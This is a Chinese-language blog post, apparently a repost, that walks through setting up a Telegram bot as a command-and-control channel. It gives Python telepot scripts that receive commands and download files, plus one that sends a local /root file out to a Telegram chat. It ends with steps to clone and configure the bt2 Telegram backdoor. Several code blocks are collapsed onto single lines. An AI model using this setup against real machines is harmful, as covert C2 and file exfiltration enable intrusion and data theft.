TG 下的C2创建过程
2021-11-12 17:28:16 Author: mp.weixin.qq.com(查看原文) 阅读量:39 收藏

本文转自公众号:洛米唯熊

0x00:简介

没啥新技术,基本就是老技术。我这里只是做笔记,仅供学习。

0x01:环境部署过程

1、申请TG token

https://telegram.me/botfather

这里有api的调用文档

https://core.telegram.org/bots/api

2、利用python 调用 

#!python#!/usr/bin/pythonimport sysimport timeimport pprintimport telepotbot = telepot.Bot('you-token')print ('Listening ...')def handle(msg):    print(msg)def main():     try:        bot.message_loop(handle)    except Exception as err:        print (err)    while True:        time.sleep(10)if __name__ == '__main__':    main()

3、测试token 调用效果

(记得要国外服务器的运行脚本,不然运行没结果。我自己的没结果)

服务器上运行

到TG上去对你的机器人说话

Python脚本看到你的消息

4、 服务端到客户端

PS:建议看一下API文档在来看

提取文字消息

使用glance()可以从接收的消息中提取一个元组

(content_type,chat_type,chat_id)

content_type 包括

text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.

chat_type 包括

private, group, or channel.

所以我们可以使用glance()把接收的文字消息提取出来,代码如下:


#!python#!/usr/bin/pythonimport sysimport timeimport pprintimport telepotbot = telepot.Bot('you-token')print ('Listening ...')def handle(msg): content_type, chat_type, chat_id = telepot.glance(msg)
if content_type == 'text': received_command = msg['text'] print (received_command) else: print (content_type, chat_type, chat_id) returndef main(): try: bot.message_loop(handle) except Exception as err: print (err) while True: time.sleep(10)
if __name__ == '__main__': main()

接收文件

执行接收消息的python代码,可获得接收文件的消息格式.

下载文件需要使用

bot.download_file(file_id, filename)
#!python#!/usr/bin/pythonimport sysimport timeimport pprintimport telepotbot = telepot.Bot('you-token')print ('Listening ...')def handle(msg):    content_type, chat_type, chat_id = telepot.glance(msg)    
if content_type == 'text': received_command = msg['text'] print (received_command) elif content_type == 'document': file_id = msg['document']['file_id'] filename = msg['document']['file_name'] bot.download_file(file_id, filename) print ("[+] Download File Success!") else: print (content_type, chat_type, chat_id) returndef main(): try: bot.message_loop(handle) except Exception as err: print (err) while True: time.sleep(10)
if __name__ == '__main__': main()


5、 客户端到服务端

发送消息使用

bot.sendMessage(chat_id, message)

Server端发送一条消息,代码如下

#!pythonimport telepotfrom pprint import pprintbot = telepot.Bot('you-token')bot.sendMessage(id, 'Hello C2 Server Jaky')

id换成你自己的ID

发送文件使用

bot.sendDocument(chat_id,file)

代码如下:

#!pythonimport telepotfrom pprint import pprintbot = telepot.Bot('you-token')f = open('/root/学习资料-种子.txt', 'rb')  bot.sendDocument(id, f)

id换成你自己的ID

0x02:环境测试过程
1、搭建C2 Server
git clone https://github.com/blazeinfosec/bt2.git
2、编辑参数
编辑bt2.py
设置以下参数
API_TOKEN:tokenBOTMASTER_ID:自己帐号的id

“阅读原文”11.11活动,注册免费领取畅学会员

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652882782&idx=1&sn=681f644bf958e4c7da648072ea82b5a6&chksm=bd59bb938a2e3285769dff02de26adbccb779e2ebf8997009ed382e4319606942fdb30a44d32#rd
如有侵权请联系:admin#unsafe.sh